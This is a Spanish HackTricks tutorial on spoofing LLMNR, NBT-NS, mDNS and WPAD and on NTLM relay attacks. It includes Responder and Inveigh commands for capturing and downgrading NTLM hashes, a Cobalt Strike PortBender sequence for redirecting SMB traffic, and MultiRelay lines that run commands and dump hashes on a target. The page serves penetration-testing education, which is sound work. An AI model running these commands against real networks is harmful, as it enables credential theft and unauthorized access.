Suplantación de LLMNR, NBT-NS, mDNS/DNS y WPAD y Ataques de Relay

Reading time: 7 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Protocolos de Red

Protocolos de Resolución de Host Local

  • LLMNR, NBT-NS y mDNS:
  • Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
  • Estos protocolos son susceptibles a la interceptación y suplantación debido a su naturaleza no autenticada y de difusión sobre UDP.
  • Responder se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
  • Más información sobre la suplantación de servicios utilizando Responder se puede encontrar aquí.

Protocolo de Descubrimiento Automático de Proxy Web (WPAD)

  • WPAD permite a los navegadores descubrir automáticamente la configuración del proxy.
  • El descubrimiento se facilita a través de DHCP, DNS, o retrocediendo a LLMNR y NBT-NS si DNS falla.
  • Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.

Responder para la Infección de Protocolos

  • Responder es una herramienta utilizada para envenenar consultas LLMNR, NBT-NS y mDNS, respondiendo selectivamente según los tipos de consulta, apuntando principalmente a servicios SMB.
  • Viene preinstalado en Kali Linux, configurable en /etc/responder/Responder.conf.
  • Responder muestra los hashes capturados en la pantalla y los guarda en el directorio /usr/share/responder/logs.
  • Soporta tanto IPv4 como IPv6.
  • La versión de Windows de Responder está disponible aquí.

Ejecutando Responder

  • Para ejecutar Responder con la configuración predeterminada: responder -I <Interface>
  • Para un sondeo más agresivo (con posibles efectos secundarios): responder -I <Interface> -P -r -v
  • Técnicas para capturar desafíos/respuestas NTLMv1 para un cracking más fácil: responder -I <Interface> --lm --disable-ess
  • La suplantación de WPAD se puede activar con: responder -I <Interface> --wpad
  • Las solicitudes de NetBIOS se pueden resolver a la IP del atacante, y se puede configurar un proxy de autenticación: responder.py -I <interface> -Pv

Envenenamiento DHCP con Responder

  • La suplantación de respuestas DHCP puede envenenar permanentemente la información de enrutamiento de una víctima, ofreciendo una alternativa más sigilosa al envenenamiento ARP.
  • Requiere un conocimiento preciso de la configuración de la red objetivo.
  • Ejecutando el ataque: ./Responder.py -I eth0 -Pdv
  • Este método puede capturar efectivamente hashes NTLMv1/2, pero requiere un manejo cuidadoso para evitar la interrupción de la red.

Capturando Credenciales con Responder

  • Responder suplantará servicios utilizando los protocolos mencionados anteriormente, capturando credenciales (generalmente NTLMv2 Challenge/Response) cuando un usuario intente autenticarse contra los servicios suplantados.
  • Se pueden hacer intentos para degradar a NetNTLMv1 o desactivar ESS para un cracking de credenciales más fácil.

Es crucial notar que el uso de estas técnicas debe hacerse de manera legal y ética, asegurando la debida autorización y evitando interrupciones o accesos no autorizados.

Inveigh

Inveigh es una herramienta para testers de penetración y equipos rojos, diseñada para sistemas Windows. Ofrece funcionalidades similares a Responder, realizando suplantaciones y ataques de hombre en el medio. La herramienta ha evolucionado de un script de PowerShell a un binario en C#, con Inveigh y InveighZero como las versiones principales. Parámetros e instrucciones detalladas se pueden encontrar en la wiki.

Inveigh se puede operar a través de PowerShell:

powershell
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

O ejecutado como un binario de C#:

bash
Inveigh.exe

NTLM Relay Attack

Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:

  • El usuario que se autentica debe tener acceso de Administrador Local en el host retransmitido.
  • La firma SMB debe estar deshabilitada.

445 Port Forwarding and Tunneling

En escenarios donde la introducción directa a la red no es factible, el tráfico en el puerto 445 necesita ser reenviado y tunelizado. Herramientas como PortBender ayudan a redirigir el tráfico del puerto 445 a otro puerto, lo cual es esencial cuando se tiene acceso de administrador local para la carga de controladores.

PortBender setup and operation in Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Otras Herramientas para el Ataque de Relevo NTLM

  • Metasploit: Configurado con proxies, detalles de hosts locales y remotos.
  • smbrelayx: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras.
  • MultiRelay: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.

Cada herramienta se puede configurar para operar a través de un proxy SOCKS si es necesario, lo que permite ataques incluso con acceso indirecto a la red.

Operación de MultiRelay

MultiRelay se ejecuta desde el /usr/share/responder/tools directorio, apuntando a IPs o usuarios específicos.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Estas herramientas y técnicas forman un conjunto integral para llevar a cabo ataques de NTLM Relay en varios entornos de red.

Forzar Inicios de Sesión NTLM

En Windows, puede que puedas forzar a algunas cuentas privilegiadas a autenticarse en máquinas arbitrarias. Lee la siguiente página para aprender cómo:

Force NTLM Privileged Authentication

Referencias

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks